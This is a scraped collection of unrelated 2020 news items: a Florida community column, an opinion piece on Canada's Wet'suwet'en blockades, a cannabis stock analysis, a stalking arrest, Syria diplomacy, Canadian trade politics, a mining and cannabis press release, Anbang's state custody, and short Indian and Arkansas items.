Thursday, Feb. 27th at 1 p.m., lunch will be held at First Watch Restaurant, 1221 Orlando Avenue, Maitland. RSVP to Flo Goldman,407-859-5982 if you will attend. Very sad news... Kirk Douglas (born Issur Danielovitch on Dec. 9, 1916, died on Feb. 5, 2020. He was an American actor, producer, director, philanthropist and writer. After an impoverished childhood with immigrant parents and six sisters, he made his film debut in The Strange Love of Martha Ivers (1946) with Barbara Stanwyck. Kirk, a Jew, died at the grand old age of 103. Shout-Out... The other day, while dining at Bagel King Restaurant in Casselberry with my son, RON, I saw a very familiar face... one I hadn't seen in more than 30 years! It was FRANK, the man who, many years ago, gave us the Bagel King chain, making it so wonderful to sit down and order a bagel, lox, matzo ball soup, etc. It was the first Jewish style restaurant in Central Florida, I believe. Now a chain run by his offspring, I am so delighted whenever I look at their delicious menu! (I know. I know. I MUST lose weight!) One for the road... Hette has a heart attack and is taken to hospital. While on the operating table she has a near death experience, during which she sees God and asks if this is the end for her. God says no and explains that she has another 30-40 years to live. Penny Goldstein As soon as she had recovered, Hette figured that since she's got another 30 or 40 years, she might as well stay in the hospital and have the face-lift, liposuction, breast augmentation and tummy tuck that she had always promised herself. So she did and she even changed the color of her hair! But tragedy-some weeks later, as Hette is leaving hospital, she is knocked over and killed by a car just as she left the hospital. When Hette arrives in front of God, she asks, "I thought you said I had another 30-40 years?". God replies, "I didn't recognize you. (Oy vay! Actually, about 2 years ago, I went to Florida Hospital wanting a face-lift. They gave me a heart valve instead!) If you are a youth age 14 or older or know one who is looking for a new experience this spring break, St. John's Episcopal Church in Midland may have an opportunity for you. You are invited to join other youth as a student volunteer member of a Volunteer Work Team in the Cumberland Valley of eastern Kentucky. As a team member, you will travel with adult chaperones to Kentucky and work with youth from around the country in repairing housing and mobile homes to make them safe and warm for the families who live there. ROAD and rail line blockades in support of the hereditary chiefs of the Wetsuweten First Nation in British Columbia have been up for weeks now. While the blockades have both caused disruption and drawn media attention for some time, this week brought real-world economic consequences as Via Rail announced roughly 1,000 employees would be temporarily laid off work. Hey there, time traveller! This article was published 21/2/2020 (691 days ago), so information in it may no longer be current. Opinion ROAD and rail line blockades in support of the hereditary chiefs of the Wetsuweten First Nation in British Columbia have been up for weeks now. While the blockades have both caused disruption and drawn media attention for some time, this week brought real-world economic consequences as Via Rail announced roughly 1,000 employees would be temporarily laid off work. With rail travel ground to a halt, there was little for the Via employees to do but wait out the conflict. Propane and consumer-goods shortages may be on the horizon. Blocking roads and railways is designed to both draw attention to First Nations concerns and generate pressure on governments to address those concerns. What, if any, effect are the blockades having on public opinion? This week, Ipsos and Global News released the first poll addressing Canadians views on the blockades. The results are a mixed bag for both Indigenous protesters and the government. Most importantly, a majority of Canadians disapprove of the blockades. When asked whether they thought shutting down roads and rail lines constituted "justified and legitimate protests," 61 per cent of those surveyed disagreed. The results appear to be related to age, with younger respondents more open to the legitimacy of these blockades. Older Canadians, in contrast, are more likely to disapprove. Thinking the blockades are unjustified is one thing, but it is quite another to think that they should therefore be taken down by force. Doing so would likely result in violence, which calls to mind the shooting deaths of Indigenous protester Dudley George during the 1995 Ipperwash standoff and a Quebec police officer during the 1990 confrontation at Oka. The question is whether Canadians remember these episodes or if both, now more than a quarter of a century old, have faded into history. The answer is mixed. When asked whether they support "police intervention" to take down the blockades, a majority of Canadians (53 per cent) agreed. That number is likely higher than many would have thought. Nevertheless, just under half of Canadians would not approve of police action to break the blockades, despite that a comparably high number disapprove of them. This makes sense when other responses to the Ipsos poll are taken into account. When asked whether the federal government must act now to raise Indigenous Canadians quality of life, fully 75 per cent of respondents agreed. While many Canadians do not approve of blockades as a tactic, they agree that some of the concerns raised via the blockages are legitimate. This ambiguity disapproval of blockades but concern about some of the problems confronting First Nations has left a lot of room for the federal government to continue to negotiate. There is no need for the federal government to immediately shut down the blockades and risk another Ipperwash or Oka, and Prime Minister Justin Trudeau knows this. Thus, when Trudeau rose in the House of Commons earlier this week to address the blockades, he did not give Canadians much to sink their teeth into. He committed himself to dialogue with the protesters and mutual respect. "Our government will continue to work night and day to peacefully find a solution." Then, in a reference to Ipperwash and Oka, Trudeau noted "In the past, we have seen just how quickly these situations can change." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. In his response to Trudeaus speech, Conservative Leader Andrew Scheer stood with the Canadians who support police intervention, condemning "radical activists" and their "illegal blockades," and calling for the imposition of "the rule of law." Trudeaus response was to exclude Scheer from an all-party meeting of leaders to address the issue, saying Scheer "had disqualified himself with his unacceptable speech." Conservatives condemned the prime ministers "word salad." Its likely Trudeau was speaking in general terms so as to allow himself maximum room and time to continue to negotiate with the Indigenous protesters. With public opinion divided but a reservoir of goodwill toward First Nations evident, Trudeau can negotiate rather than face the prospect of having to shut down the blockades and potentially triggering violence. Can the prime minister and new Indigenous Services Minister Marc Miller bring about a peaceful resolution? Miller claims he sees a clear path forward to just such a resolution. But Trudeau may find such an outcome elusive. Despite the prime ministers enthusiastic embrace of the language of reconciliation, Indigenous leaders argue that little was achieved for First Nations communities during Trudeaus first term in office. Even where his government has brought about successes, these have been on program issues related to education and infrastructure rather than on the land-rights issues that, in part, motivate these protests. For Indigenous protesters invited into dialogue with the prime minister, it might be a case of "Fool me twice, shame on me" Royce Koop is an associate professor and head of the political studies department at the University of Manitoba. The requested page is currently unavailable on this server. Back to [RTHK News Homepage] As the Canadian cannabis market continues to fail to meet sales projections, the licensed producers (LPs) with the best balance sheets are poised to lead a market rebound. With both Aurora Cannabis and Tilray implementing restructurings, the industry could see a void in certain markets providing opportunities for companies with the ability to fund growth initiatives. Based on the Aurora restructuring, the company is exiting several international markets along with shifting a focus to a value brand. Along with cutting cultivation goals from close to 700,000 kg to only 150,000 kg, the company plans to strip out over C$60 million in quarterly operating expenses. The disruption from removing so many expenses should leave some voids in the market allowing opportunistic moves by companies with the ability to continue investing. In a smaller manner, Tilray is cutting 10% of their workforce. The company hasnt detailed their plans regarding exiting any businesses, but a business the size of Tilray cutting 140 employees will leave an inevitable void. The move will allow a better funded business to capture more market share as the job functions of the exiting employees arent fully absorbed within the smaller workforce. Weve delved into these three Canadian companies poised to lead a market rebound as other companies restructure and focus on survival: Aphria (APHA) Aphria remains the best value in the sector combined with having the catalysts of their new facility ramping up production. The stock is down to only $4.20 now offering only a $1.12 billion market valuation. The company recently reported FQ2 revenues of C$120.6 million along with positive EBITDA. The cannabis business only accounts for C$33.7 million in quarterly revenues, but the business is poised to jump due to the Aphria Diamond facility increasing production capacity to 255,000 kg annually from a previous level of only 115,000 kg. Aphria forecast revenues reaching C$600 million in FY20 leading to a near C$50 million boost per quarter for the 2H of the year. The big forecast includes adjusted EBITDA in the C$40 million range. Story continues The Canadian cannabis company recently raised C$80 million secured by the new cultivation facility pushing the cash balance to nearly C$500 million at the end of November. In January, Aphria raised another C$100 million from an institutional investor to provide additional capital for international expansion and working capital. Due to the additional cultivation capacity, Aphria has a major catalyst to boost the company from existing levels. The stock has the better potential for substantial gains on a turnaround due to their leading financial position and low valuation. The word on the Street rings largely bullish on this cannabis player, with TipRanks analytics demonstrating APHA as a Moderate Buy. Out of 6 analysts tracked in the last 3 months, 4 are bullish on Aphria stock, while 2 remain sidelined. With a return potential of over 60%, the stock's consensus price target stands at $6.83. (See Aphria stock analysis at TipRanks) Cronos Group (CRON) Cronos is the one company with the cash balance that hasnt aggressively spent the balance as of yet. The cannabis company ended the September quarter with a cash balance of $2.0 billion from the investment by Altria Group all the way back in 2018. Analysts only forecast 2020 revenues reaching $118 million due to the lack of investments in cultivation facilities so far with the focus more on building global operations, CBD products and Cannabis 2.0 products. The company has an asset-light strategy with a focus on buying cannabis derived products from third parties to be branded under Cronos brands. The biggest issue for the stock is the strategy has been light on products. Investors should see Cronos as the most likely acquirer of beaten down assets, especially any strong cannabis brands that dont have the capital to remain in business or expand. In this manner, the company is likely to lead the market turnaround via consolidation. A few timely deals to remove a couple of competitors from the Canadian cannabis market could do wonders for removing capacity and pricing pressure from the sector. Cronos can easily spend $500 million to $1 billion without damaging their capital position and ability to invest in growing the existing businesses while boosting their revenue streams. Based on the above factors, Wall Street also has high hopes for CRON. As 3 Buy ratings were assigned in the last three months compared to no Holds or Sells, the consensus is a Strong Buy. To top it all off, its $10.29 average price target puts the potential twelve-month gain at a whopping 43%. (See Cronos stock analysis at TipRanks) Canopy Growth (CGC) The largest valued cannabis stock remains Canopy Growth. The company has the cash and backing from Constellation Brands to lead in any sector rebound. For the just reported quarter, Canopy generated December revenues of C$123.8 million for 49% growth over last year due to European acquisitions in the CBD space. The company is now double the size of Aurora and, prior to any reorganization, is spending C$150.3 million on operating expenses or at least three times the reduced base of Aurora. New CEO David Klein discussed some general plans to reorganize the business, but investors shouldnt expect the scale of the others. Clearly, Canopy needs to cut the C$91.7 million quarterly EBITDA loss in order for the market to have confidence in their sector leadership in the future. The company can reduce the EBITDA loss via revenue growth and higher margins, but some additional constraints on operating expenses would go a long way to reduce any fears of out of control losses. Canopy has a C$2.3 billion cash balance remaining from the Constellation Brands investment allowing for continued investment in international markets and Cannabis 2.0 products. The large cash balance allows the new CEO to continue investing while shutting some smaller segments not generating strong margins and burning cash. The biggest issue for the stock is the $8 billion market valuation. The stock trades at 14x FY21 revenue estimates of ~$550 million. The stock will rebound on any cannabis turnaround, but investors shouldnt expect massive gains due to the large cap status of Canopy. To find good ideas for cannabis stocks trading at attractive valuations, visit TipRanks Best Stocks to Buy, a newly launched tool that unites all of TipRanks equity insights. Disclosure: No position. BRIDGEPORT A Wilton man has been charged with stalking a 15-year-old girl. Craig Sears, 52, of River Road, Wilton, was charged with first-degree stalking and risk of injury to a child. He was released on $750 bond. During the arraignment hearing on Thursday, Superior Court Judge William Holden ordered Sears to have no further contact with the victim and to stay away from Bassick High School. Police said a 15-year-old girl told them she had been followed on several occasions as she walked home from the high school by a man driving a black Mustang convertible. The Bridgeport teen said the man had tried to get her attention, yelling out the car window, excuse me, and yo, but she had ignored him and run home and told her father, police said. Police said they searched the area after the girls first complaint but had not located the car. In the last incident in December, police said the girl managed to get the license plate number of the car. Police said they traced the plate to Sears. In the meantime, police said a Washington Avenue woman told police that a man matching Sears description had pulled up next to her outside her home in a Jeep and yelled to her how much? He drove off when the woman began yelling at him, police said. Police said when they later contacted Sears, he admitted driving into Bridgeport on a number of occasions but wouldnt comment further. Turkish President Recep Tayyip Erdogan on Friday urged his Russian counterpart Vladimir Putin to halt the Syrian regime's offensive in northwest Syria as France called for an urgent summit with those leaders to end the bloodshed and humanitarian crisis. Russian air strikes in the northwestern province of Idlib are bolstering a months-long Syrian government onslaught that has forced nearly one million civilians to flee -- the biggest displacement of the nine-year conflict. "The president during the call stressed that the regime should be restrained in Idlib and that the humanitarian crisis must be stopped," the Turkish presidency said in a statement after the two leaders spoke by phone. Putin, for his part, told Erdogan that he was "seriously concerned" by the "aggressive actions" of jihadists in Syria's Idlib region. In their call, Putin and Erdogan agreed to "intensify bilateral consultations on Idlib with the aim of reducing tensions, guaranteeing a ceasefire and neutralising the terrorist threat", the Kremlin said in a statement. Erdogan told Putin the solution was to return to the Sochi agreement they signed in 2018, which allowed Turkey to establish military posts across Idlib designed to prevent a regime assault. That deal has been increasingly set aside as Syrian forces advance steadily into the region. Turkey, which backs some rebel groups in the province, has lost 16 military personnel this month in clashes with Syrian troops. It has reinforced its positions and called on President Bashar al-Assad to pull his forces back. In Brussels, French President Emmanuel Macron on Friday called for a summit on Syria "as soon as possible" with the leaders of Germany, Russia and Turkey. Speaking on the sidelines of an EU budget summit, Macron said the Syrian offensive "risked provoking a humanitarian catastrophe, an escalation of the conflict and a migration crisis." - Establish 'safe zone' - In 2015, EU countries split sharply over how to cope with their worst migration crisis since World War II when around a million people, most of them fleeing Syria, entered the bloc. Turkey meanwhile is determined to prevent a fresh influx of displaced people adding to the 3.6 million Syrian refugees it already hosts. With Ankara threatening an "imminent" operation against the Syrian regime, Defence Minister Hulusi Akar inspected troops gathered at the Syrian border on Friday. Erdogan spoke of establishing a "safe zone" to provide shelter and support to fleeing civilians facing harsh winter conditions, adding that Turkish organisations were already building structures in the area. "Our work continues. We will have a discussion with Putin. I hope we will take a beneficial step with this," he said. During their meeting in Berlin on Thursday Merkel and Macron called for a four-way summit on Syria when they spoke by telephone with Putin and Erdogan. A Kremlin spokesman told reporters on Friday that "the possibility of holding a summit is under discussion", but that there was still no decision. Also on Friday, the EU's 27 leaders condemned Syrian government attacks, saying the offensive was "causing enormous human suffering". "The EU urges all parties to the conflict to fully respect their obligations under international humanitarian law and international human rights law and to allow unimpeded and direct humanitarian access to all those in need," they said in a statement. Syrian aid workers have put out desperate calls for a ceasefire and international help. The United Nations says 900,000 people -- more than half of them children -- have been displaced in "horrendous conditions" since December 1, when the latest offensive began. Collins has been a vocal and loyal defender of the president, including through impeachment, but his decision to run against Loeffler infuriated many in his party. Loeffler, too, emerged as a strong Trump loyalist during impeachment and sharply criticized Sen. Mitt Romney (R-Utah) to whom she and her husband had previously donated money for voting both to call witnesses and also to convict Trump in his Senate impeachment trial. Deputy Prime Minister and Minister of Intergovernmental Affairs Chrystia Freeland waits to appear before the House of Commons Standing Committee on International Trade in Ottawa on Feb.18, 2020. (Adrian Wyld/Canadian press) Freeland Agrees to NDP Proposals to Push Forward Trade Deals OTTAWADeputy Prime Minister Chrystia Freeland says she wants to make Canadas trade negotiations more transparent, by agreeing to proposals from the New Democrats to provide more details of future deals. Freeland offers that view in a Wednesday letter to the New Democrats, a promise that secured the partys support for a speedier ratification of the new North American trade deal, which is still before Parliament. In the letter, a copy of which was obtained by The Canadian Press, Freeland makes clear she is agreeing to the NDP proposals to get support for ratifying the new continental trade agreement among Canada, the United States and Mexico. Freeland maintains that the 13 months of acrimonious negotiation among the three countries was open and transparent because the government consulted widely with stakeholders. NDP trade critic Daniel Blaikie disagrees, saying the actual negotiations were held in secret, and the government provided inadequate analysis of the economic consequences of the deal to Canadians. Freeland says the government will provide the House of Commons with an economicimpact assessment at the same time the legislation to ratify a trade deal is tabled. She said that report will include estimates of overall economic impact of a free trade agreement on the Canadian economy, including changes in gross domestic product (GDP), trade flows, unemployment, and income as well as sectorspecific estimates for the sectors directly addressed in the free trade agreement. The government also agrees to inform the House of intent to enter into negotiations on new deals 90 days before they begin and to require objectives for negotiations for new deals to be tabled 30 days in advance, the letter says. Freelans letter says she is making the changes in light of the NDP proposal and to add further transparency to the freetrade negotiations process. It says she was responding to written proposals from NDP sent on Dec. 16. In exchange for these changes, Freeland concludes, I understand we can count of the support of the NDP to expeditiously ratify the new trade dealsomething the U.S. and Mexico have already done. As the letter states, and Blaikie acknowledges, reopening the deal to further negotiations was a nonstarter. Weve always felt that the trade negotiation process has been far too secretive, and Canadians will benefit from a more open and transparent process, Blaikie said in an interview. The way to do that is to make sure that the government has to be more clear about its intentions both in terms of letting Parliament know who it is negotiating with and also laying out its objectives so that at the end you can measure whether the government succeeded. Blaikie dismissed a suggestion that his partys manoeuvring represented a break from its past policy of being skeptical and unsupportive of free trade. This agreement is still part of a model of globalized trade driven by corporations that we are critical of, he said. We knew we couldnt change the deal. You cant open it up again. So, we wanted to focus on something we could change, which is what this looks like for future trade deals like CanadaU.K., CanadaChina and CanadaIndia, Blaikie added. I look forward to having a better process when the next government comes along thats looking to sign Canada up for some kind of trade deal. Earlier this week, Freeland offered effusive public thanks to New Democrats for supporting the new deal and stinging criticism of the Conservatives for wanting to study it further at a Commons committee. In the House of Commons Thursday she said Blaikie was a pleasure to work with on the changes. Freeland said the government wanted to limit study of the new deal, and was surprised that Conservatives wanted to extend committees study of the agreement into March. But the Conservative trade critic Randy Hoback told The Canadian Press that there was no circumstance under which his party would vote against ratifying the trade deal. He said the Tories simply wanted to hear from witnesses to give voice to people who are concerned about the deal, to make it stronger in the long term. Thats what created the problem in the previous NAFTA is when people were left out. They were the ones that elected Trump this last election, because they were left out, said Hoback. President Donald Trump repeatedly threatened to rip up the old North American Free Trade Agreement during the renegotiations. Freeland has had cabinet responsibility for CanadaU.S. relations during that time as foreign affairs minister and now as deputy prime minister. Getting a new deal became the Liberal governments top priority because of Canadas massive economic dependence on access to the United States, its biggest trading partner. Senior actor Srikanth has made a debut in digital space. He has acted in a web series titled Chadarangam. The web series produced by Manchu Vishnus production house is said to be loosely based on late NTRs life and the politics, that his family members indulged against him. Already few biopics are made on NTR. But, the one being made by VANCOUVER, British Columbia, Feb. 20, 2020 (GLOBE NEWSWIRE) -- AsiaBaseMetals Inc. (the "Company") (TSX-V: "ABZ) is pleased to provide, subject to the Companys confidentiality obligations, an update regarding the progress made under the cooperation agreement (the Agreement) between the Company and a city (the City) in the cannabis sector (the Cannabis Sector) in the Republic of Croatia (the Country and/or Croatia), a member country of the European Union (the EU), as previously announced on June 19 and 26, 2019. The Cannabis Sector As previously announced, the Agreement provides for the City to apply for a license for growing, importing, exporting and selling cannabis for medical purposes (Medical-Cannabis-Permit) through a limited company to be incorporated by the City (City-New-Sub-Co-Ltd.). Upon City-New-Sub-Co-Ltd. obtaining a Medical-Cannabis-Permit, the City has agreed to transfer all or majority of shares of City-New-Sub-Co-Ltd. to the Company. Medical Cannabis Permit: With Croatia having legalized Cannabis for limited medical use on October 15, 2015 and decriminalized it for personal use in 2013, a bill to legalize recreational marijuana was introduced into parliament on February 10, 2020 for debate. As such, the City upon complete review of the national licensing process has decided to submit the required documents to incorporate City-New-Sub-Co-Ltd. for the purposes of applying for a medical laboratory permit (the Medical Laboratory-Permit), a permit required pursuant to the current legislative rules of Croatia to apply for and obtain a Medical-Cannabis-Permit. The City having informed the Company that the incorporation documents for City-New-Sub-Co-Ltd. will be filed with the authorities by February 26, 2020 and the Company expects incorporation of City-New-Sub-Co-Ltd. to be completed by March 11, 2020. The City has commenced the construction of a 3,000 square foot (Sq-Ft) laboratory (the Lab) within a new 250,000 Sq-Ft building (the Building) being constructed by the City in anticipation of the completion of incorporation of City-New-Sub-Co-Ltd. The City has informed the Company that the Lab is now 80% completed within the Building which is now 90% completed. The building is expected to receive occupancy permit by April 30, 2020. Story continues It is interesting to note that in the cannabis sector, the largest market within western cultures is represented by Europe, having an approximate population of 740 million people (with EU representing approximately 512 million), when compared to North America having an approximate population of 579 million (with USA representing approximately 327 million). Croatia, having already previously passed legislation for growing and selling cannabis for medical consumption (2015) is awaiting the completion of the required regulations (the Regulations) for full implementation. The City expects the Regulations which are currently being finalized to be implemented by March 31, 2020. Croatia, especially within the Dalmatia region where the City is located has one of the best climates and agricultural conditions within the EU. The region has advanced experience in both outdoor and greenhouse cultivation of products including tomatoes, carrots, asparagus, other vegetables and vegetation. Further, the City is a coastal city that has access to freeways/highways, international airports, ports, marinas, power, and all other essential required infrastructure and other needs to service agriculture, industry and tourism. Croatia, which has a premium pharmaceutical industry in the EU and globally, pursuant to the Citys estimates, hosted approximately 20 million tourist/business visitors in 2019, who came to the Country to enjoy its rich history, culture, people, cuisines & wines, extensive coastline (mainland having over 1,700 km of coastline and islands having over 4,000 km of coastline), beaches, leisure activities and recreation. Upon full implementation, this opportunity is expected to provide AsiaBaseMetals Inc. a true first mover advantage in the EU from its operation in Croatia (which is also expected to join the border-free Schengen Zone in 2020 having been EUs 28th member state since July 1, 2013) with its planned EU head office to be opened in the City. The Company is continuing to consider additional opportunities and acquisitions in the cannabis sector, especially in Europe, only in fully legal jurisdictions, " stated Raj Chowdhry, CEO. The Company, subject to required approvals, intends to retain business and commodity focus for both the cannabis, mining, and any other business sectors (see About AsiaBaseMetals Inc. below) by plan of arrangement spin-out transaction(s) (Spin-Cos) as projects are identified and acquired, in the same manner as when AsiaBaseMetals Inc. was originally formed via the creation of a Spin-Co from Sandfire Resources America Inc. (name changed from Tintina Resources) while it was still under the guidance of its founder Raj Chowdhry as CEO and Chairman. Spin-Cos result in the Company retaining commodity/business focus and the shareholders of the Company, as of the record date for the Spin-Co creation, automatically receiving additional shares in a new company while retaining the shares in AsiaBaseMetals Inc. With the recent addition of Jaksa Mrcela to the Board of Directors and Mr. Goran Ivanisevic to the Advisory Board of the Company (as previously announced on February 6, 2020), the Company looks forward to completing its pursuit in the Cannabis sector focusing on the European Union and reviewing opportunities in other non-mining sectors, including real estate and casino opportunities especially in Croatia. The Company intends to retain the services of an international consulting firm in Croatia to assist the Company in its evaluation of opportunities, subject to agreement on terms of engagement" stated Raj Chowdhry, President and CEO of the Company. Stock Option Grant The Company is also pleased to announce, subject to TSXV approval, that it has granted 20,000 stock options under its stock option plan to a consultant of the Company. Such options will be exercisable at $0.40 for a period of two years from the date of grant. Of the total stock options granted, 50% will be fully vested upon grant; with 25% of the stock options vesting on August 20, 2020 and the remaining 25% vesting on February 20, 2021. About AsiaBaseMetals Inc. AsiaBaseMetals Inc., a company focused on advancing its projects in the mining sector and developing and evaluating additional opportunities in the cannabis sector, is led by an experienced and successful business and mining team. The Company is advancing its 100% owned Gnome Zinc/Cobalt Project and its 100% owned Jean Iron Ore Project in world-class mining districts in Canada, one of the safest and mining friendly districts in the world. The Company is advancing current opportunities and exploring additional opportunities in the cannabis sector, with emphasis in Europe, and is reviewing other non-mining opportunities, including real estate and casino opportunities in Croatia. In addition, the Company is seeking to further diversify its portfolio, with special attention directed to advanced acquisition targets in the Americas, Asia and Africa for base metals [Copper (Cu)], alkali metals [Cobalt (Co)] / Lithium (Li)] and precious metals [Gold (Au) / Silver (Ag)]. The Company is awaiting the grant of exploration permits for lithium (the Thazi Project) pursuant to a submitted application in Myanmar. The Gnome Project, 100% owned by AsiaBaseMetals Inc. (12 mineral claims encompassing approximately 5,868 hectares) is located 35 Km southeast (SE) from Teck Resources Limited (Teck) & Korea Zincs (KZ) joint ventured (T-KZ-JV 50% each) Cirque Deposit and 15 Km SE of the Cardiac Creek deposit Akie Project (ZincX Resources Inc. announced results of a Preliminary Economic Assessment (PEA) of Cardiac Creek deposit hosted within the Akie Project - June 20, 2018). The Cirque Deposit, the Cardiac Creek deposit, Pie, Cirque East and Yeun properties (51% interest in the Pie, Cirque East and Yeun properties that were originally optioned by Teck from ZincX Resources Inc, (formerly Canada Zinc Metals Corp.) (ZincX) now held as part of the T-KZ-JV), the Cirque Property and Gnome property are all in the same geological belt, northeast (NE) of Williston Lake, in north western British Columbia, Canada, within a north-northwest-south-southeast (N-NW-S-SE) oriented geological trend in the southernmost part (Kechika Trough) of the regionally extensive Paleozoic Selwyn basin, one of the most prolific sedimentary basins in the world for the occurrence of SEDEX zinc-lead silver and stratiform barite deposits. Mineralization hosted on the Cirque and Cardiac Creek properties is not indicative of the mineralization hosted on the Companys Gnome Project at its current stage of exploration. The Company, subject to required approvals, intends to retain business and commodity focus for both the mining, cannabis and other commodity/business sectors by plan of arrangement spin-out transaction(s) (Spin-Cos) as projects are identified and acquired, in the same manner as when AsiaBaseMetals Inc. was originally formed via the creation of a Spin-Co from Sandfire Resources America Inc. (name changed from Tintina Resources) while it was still under the guidance of its founder Raj Chowdhry as CEO and Chairman. Spin-Cos result in the Company retaining commodity/business focus and the shareholders of the Company, as of the record date for the Spin-Co creation, automatically receiving additional shares in a new company while retaining the shares in AsiaBaseMetals Inc. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. The PEA is considered preliminary in nature and includes inferred mineral resources that are considered too speculative geologically to have the economic considerations applied to them that would enable them to be categorized as mineral reserves. Mineral resources that are not mineral reserves have not yet demonstrated economic viability. Due to the uncertainty that may be attached to mineral resources, it cannot be assumed that all or any part of a mineral resource will be upgraded to mineral reserves. Therefore, there is no certainty that the results concluded in the PEA will be realized. Mineralization hosted on the Cirque and Cardiac Creek Properties is not indicative of the mineralization hosted on the Companys Gnome Project at its current stage of exploration. Cautionary Note Regarding Forward-Looking Statements: Certain disclosure in this release, including statements regarding the Agreement, the transactions contemplated thereby and activities in respect thereof, including the incorporation of City-New-Sub-Co. Ltd., the Companys pursuit of opportunities in the cannabis sector and other non-mining opportunities in Europe, the grant of the Thazi Project permits, the Companys plans for future exploration programs in Myanmar, the Gnome Project (Cobalt & Zinc), possible acquisitions and spin-out transactions and the Companys exploration and other plans, including timing and expected outcomes, may constitute "forward-looking information" within the meaning of Canadian securities legislation. In making the forward-looking statements in this release, the Company has applied certain factors and assumptions that the Company believes are reasonable, including that the necessary regulatory approvals for the transactions contemplated by the Agreement will be obtained, that the Company will obtain the necessary regulatory approvals for the grant of the Thazi Project permits and exploration in Myanmar, the Medical-Cannabis-Permit will be obtained, the acquisition of City-New-Sub-Co-Ltd. by the Company will be completed as expected and will have the benefits expected by management, the Lab and the Building will be completed as expected, that the Company will receive necessary approvals for possible acquisitions and spin-out transactions, that the Company will be able to carry out future exploration or work programs as planned, that the Company will obtain the necessary personnel, supplies and equipment and be able to carry out future exploration or work programs as planned, the Companys planned exploration will achieve the results expected by management, that the Company will obtain any required financing, that the Companys exploration and development activities on the Gnome Project will not be affected by actions of special interest groups, and that the results of exploration activities will be consistent with managements expectations, that no unforeseen accident, fire, ground instability, flooding, labor disruption, equipment failure, metallurgical, environmental or other events that could delay or increase the cost of development will occur, that general business and economic conditions will not change in a materially adverse manner, and the continuity of economic and political conditions and operations of the Company. However, the forward-looking statements in this release are subject to numerous risks, uncertainties and other factors that may cause future results to differ materially from those expressed or implied in such forward-looking statements. Such uncertainties and risks include, among others, financing risks, delays in obtaining or inability to obtain required regulatory approvals for the Thazi Project permits, the Medical-Cannabis-Permit will not be obtained, the acquisition of City-New-Sub-Co-Ltd. by the Company will not be completed or will not have the benefits expected by management, the Lab or the Building will not be completed as expected, all of the other risks generally associated with the pursuit of opportunities in the cannabis sector and other non-mining opportunities in Europe, delays in obtaining or inability to secure possible acquisitions and spin-out transactions, results of exploration and development activities will not be consistent with managements expectations, failure of plant, equipment or processes to operate as anticipated, the risk of accidents, labor disputes, inclement or hazardous weather conditions, unusual or unexpected geological conditions, earthquakes, flooding, interference with the Companys exploration activities by environmental activists or other special interest groups, inability to procure equipment and supplies in sufficient quantities and on a timely basis, and all of the other risks generally associated with the pursuit of opportunities in the Cannabis sector and exploration of mining properties, and changes in the Companys plans. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Readers are cautioned not to place undue reliance on forward-looking statements. The Company does not intend, and expressly disclaims any intention or obligation to, update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by law. For more information please email info@asiabasemetals.com. Contact Information AsiaBaseMetals Inc. Raj Chowdhry, Chief Executive Officer Email: info@asiabasemetals.com Chinas two-year state custody of Anbang Insurance Group Co., the group that became a poster child for private companies with too much debt and lofty global ambitions, is set to end this weekend. Authorities took control of the 2 trillion yuan ($285 billion) conglomerate in February 2018 after its former chairman Wu Xiaohui was arrested and subsequently jailed for fundraising fraud. They initially set themselves a 12-month timeline to raise cash by jettisoning non-core assets such as luxury hotels, preserve Anbangs main insurance operations and find strategic investors. That deadline was later extended by a year to Feb. 22. The first two of those objectives have largely been met. Anbang agreed to sell a high-end hotel portfolio to South Koreas Mirae Asset Management Co. for $5.8 billion in September and has offloaded other assets including Dutch insurer Vivat NV and Hexie Health Insurance Co. In June, China created a new entity Dajia Insurance Group to take over the insurance operations of Anbang. Finding private strategic investors has proven more difficult. It was one of the China Banking and Insurance Regulatory Commissions key tasks to see Anbang, or what is now left of it, placed back into private hands so that the China Insurance Security Fund Co., which now controls both Anbang and Dajia, can exit orderly and safely. That goal has become less clear since Anbang stopped accepting new business and considering Beijing-based Dajia now houses the life insurance, pension and asset management units along with parts of its property insurance business. Some of the toxic assets involved in Wus case have been kept outside Dajia, Bloomberg reported in May. Representatives from CBIRC didnt immediately respond to a request for comment. Risks Curbed Risks at Anbang were curbed after the government stepped in, CBIRC Vice Chairman Liang Tao told a briefing in Beijing in July. The riskier medium and short-term investment products, which Wu used to finance his overseas buying binge, are expected to drop to below 15% of the insurance business by the end of 2019, he said last year. Foreign investors from Cerberus Capital Management LP to Swiss Re AG were said to have held discussions about potential investments in Anbang, Bloomberg reported in 2018. The CBIRC is unlikely to extend this weekends deadline. When announcing the takeover in early 2018, authorities said it would last for a maximum period of two years. If the objectives couldnt be met in that time, the takeover team would report back to CBIRC and it would authorize other regulatory measures, the China Insurance Regulatory Commission, which later combined with the banking regulator, said in a statement at the time. Still, with much of the old Anbang now defunct, regulators have probably done enough to claim a victory. In terms of maintaining social stability and defusing financial risks, theyve probably done their job because we didnt see any waves from outside, although theres been little information about their business development or talent losses, Gary Liu, president of Shanghai-based China Financial Reform Institute, said. It will be up to the new shareholders and management to take the companys business to a new level. Photograph: The entrance of the Anbang Headquarters in Beijing seen from Jianguomen Outer Street on Feb. 24, 2018. Photographer: Giulia Marchi/Bloomberg. Related: Copyright 2022 Bloomberg. Topics Legislation China Jharkhand chief minister Hemant Soren on Friday visited Pahadi Mandir on the occasion of Maha Shivaratri, here in Ranchi. 'We are celebrating Maha Shivratri with great devotion. We prayed to Lord Shiva and wished the happiness and prosperity of the people," he said. The Chief Minister also tweeted a video of himself performing aarti at the site. Maha Shivaratri, which literally translates to 'the greatest night of Shiva' is one of the most splendidly celebrated festivals across the country. It celebrates the grand marriage of the lord of destruction, Shiva -- with the goddess of fertility, love, and beauty -- Parvati, who is also known as Shakti (power). (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Arkansas Department of Transformation and Shared Services (TSS) announced the appointment of Joshua McGee as the states new chief data officer (CDO).McGee fills a state position that has remained vacant for the past year and a half. Meanwhile, Deputy State CDO Adita Karkera, who served in the interim, will return to her role within the Division of Information Systems (DIS).Speaking with, McGee said the CDO role aligns with his interests because of his passion for using data and evidence to improve government policies and practices.McGees background includes work as a research assistant professor at the University of Arkansas; a senior fellow at the Manhattan Institute, a free market think 